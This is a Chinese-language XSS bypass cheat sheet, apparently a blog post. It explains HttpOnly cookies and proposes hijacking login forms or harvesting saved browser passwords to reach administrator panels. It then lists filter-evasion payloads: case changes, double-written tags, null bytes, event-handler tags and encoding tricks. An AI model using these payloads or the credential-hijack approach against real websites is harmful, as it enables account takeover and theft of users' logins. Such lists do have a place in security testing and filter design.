XSS绕过
httponly
如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击 ,只是无法获取Cookie信息,xss脚本还是会执行。
原理是 Cookie都是通过document对象获取的,那HttpOnly就是在设置cookie时接受这样一个参数,在浏览器的document对象中就看不到cookie了。Cookie会被放在浏览器头中发送出去(包括Ajax的时候),对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用JS操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
我们实现xss的目的是为了获取用户的信息来登录管理员后台 ,而登录后台一般需要Cookie或者账号密码,在设置httponly后获取不了Cookie,我们从账号密码入手。
密码未保存时
在登录界面插入xss表单劫持,把账号密码获取到xss平台
密码保存时
在后台界面插入xss获取浏览器存储的用户账号密码数据
代码过滤
自身标签绕过
<script>alert('xss')</script> //没有过滤
<Script>alert('xss')</Script> //大小写绕过
<scscriptript>alert('xss')</scscriptript> //双写绕过
<sc\x00ript>alert('xss')</sc\x00ript> //空字节绕过
" oonnclick=alert('XSS') // //闭合绕过(对于html实体输入的和过滤< >)
其他标签绕过
<a herf="javascript:alert(1)">show</a> //链接标签
<body onload=alert(1)> //文档加载完成后
<input type=image src=x:x onerror=alert(1)> //图片等媒体加载失败后
<form oninput=alert(1)><input></form> //表单输入
<textarea autofocus onfocus=alert(1)> // 自动获得焦点的文本区域
<input oncut=alert(1)> //用户剪切元素内容时
总而言之就是html标签的各种DOM事件后面可以添加js脚本,从而可以插入xss
编码绕过
BASE64,Unicode编码,url编码,ascii码,hex,2,8,16进制
接收参数绕过
http头部 eferer User-Agent

浙公网安备 33010602011771号